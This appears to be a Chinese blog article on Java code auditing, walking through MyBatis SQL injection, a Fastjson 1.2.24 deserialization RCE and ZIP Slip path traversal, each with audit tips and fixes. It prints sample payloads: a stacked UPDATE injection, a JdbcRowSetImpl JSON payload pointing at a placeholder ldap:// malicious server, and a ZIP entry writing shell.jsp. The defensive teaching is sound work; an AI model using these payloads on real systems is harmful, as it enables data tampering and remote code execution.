Java代码审计案例

wen java案例 3

从SQL注入到RCE:三个真实Java代码审计案例与防御重构指南


目录导读

  1. 审计前的思维定式:为什么Java比PHP更难审计?
  2. MyBatis 引发的SQL注入(附完整攻击链路)
  3. Fastjson反序列化绕过——从版本漏洞到RCE
  4. 不安全的文件上传与路径穿越(利用ZIP Slip)
  5. 高危点的自动审计工具与人工验证的黄金组合
  6. 防御重构:从代码层到框架层的加固方案
  7. 互动问答:企业级审计的5个高频困惑解答

审计前的思维定式:为什么Java比PHP更难审计?
Java的强类型和框架封装(如Spring)掩盖了底层危险调用,开发者常误以为框架能“自动防注入”,实则参数绑定()与字符串拼接()是截然不同的代码路径,审计者需建立“框架信任边界”概念:只有到达JDBC层的SQL语句,才能真正判断是否安全,MyBatis的Mapper.xml中,${orderBy}是工程师最常犯的拼接错误,而则安全。

Java代码审计案例

案例一:MyBatis 引发的SQL注入(附完整攻击链路)
某电商后台的排序功能误用:

<select id="listGoods" resultType="map">
  SELECT * FROM goods ORDER BY ${sortField} ${sortOrder}
</select>

攻击者构造sortField=1;UPDATE goods SET price=0 WHERE 1=1 --,若数据库账号权限过高,将批量篡改价格。审计关键:全局搜,逐一回溯参数是否经过白名单校验,修复方案:强制使用Map枚举映射,禁止直接拼接。

案例二:Fastjson反序列化绕过——从版本漏洞到RCE
某金融项目使用Fastjson 1.2.24,攻击者发送{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://恶意服务器/Exploit","autoCommit":true},该利用链通过JNDI注入加载远程类,最终执行Runtime.exec审计重点:检查JSON.parseObject的入参是否来自外部输入,且autoType是否关闭,修复:升级至1.2.83+,并全局开启safeMode

案例三:不安全的文件上传与路径穿越(利用ZIP Slip)
某OA系统支持ZIP包导入,代码使用File dest = new File(uploadDir, entry.getName()),恶意ZIP中构造../../../../tmp/shell.jsp,可覆盖任意文件。攻击演示:当解压路径未规范化,entry.getName()可直接跳出上传目录。审计技巧:重点审查ZipInputStreamgetNextEntry()后的路径拼接,修复:使用Paths.get(uploadDir).resolve(entry.getName()).normalize(),并验证前缀。

高危点的自动审计工具与人工验证的黄金组合

  • 静态扫描:使用Semgrep规则跟踪taint链路,检测在MyBatis中的传播;FindSecBugs可标记Fastjson高危版本与Runtime.exec位置。
  • 人工复核:工具误报率高达40%,必须针对工具报出的Source(如request.getParameter)与Sink(如Statement.execute)间的路径条件进行人工分析,若sortField之前经过StringUtils.isNumeric校验,则中危。

防御重构:从代码层到框架层的加固方案

  • 代码层:使用PreparedStatement固定占位符;文件上传时重命名随机UUID;拒绝路径穿越字符。
  • 框架层:Spring拦截器统一校验请求参数;配置TomcatSecurityManager限制文件路径;对ObjectInputStream挂黑名单类。
  • 运维层:数据库最小权限账户部署;WAF对LDAPrmi关键字拦截;定期用OWASP ZAP扫描应用。

互动问答:企业级审计的5个高频困惑解答

  • Q1:工具扫描全部为“低危”,是否意味着安全?
    A:否,工具无法识别业务逻辑漏洞(如越权),人工必须测试相同功能下的不同角色权限。
  • Q2:如何快速定位反序列化漏洞点?
    A:全局搜索ObjectInputStream.readObjectJSON.parseObjectXMLDecoder,并检查依赖库版本。
  • Q3:审计时发现DevOps写死密码,如何验证利用难度?
    A:尝试从日志、JMX、内存dump中提取,若应用以root运行,可直接读取配置文件。
  • Q4:如何说服开发彻底修复而不只打补丁?
    A:提供复现POC并附上修补前后的代码对比,强调攻击者利用成本低于5分钟。
  • Q5:新项目如何从源头减少漏洞?
    A:引入OWASP ASVS标准,使用Spring Data JPA(默认预编译),并强制代码评审阶段使用SonarQube卡点。

Java审计绝非“扫描-报告”式流程,而是对数据流信任边界的深度博弈,每一行看似无害的或parseObject,都可能成为逻辑炸弹,建议将以上案例纳入团队安全测试基线,并定期进行红蓝对抗演练,持续验证防御的有效性。

抱歉,评论功能暂时关闭!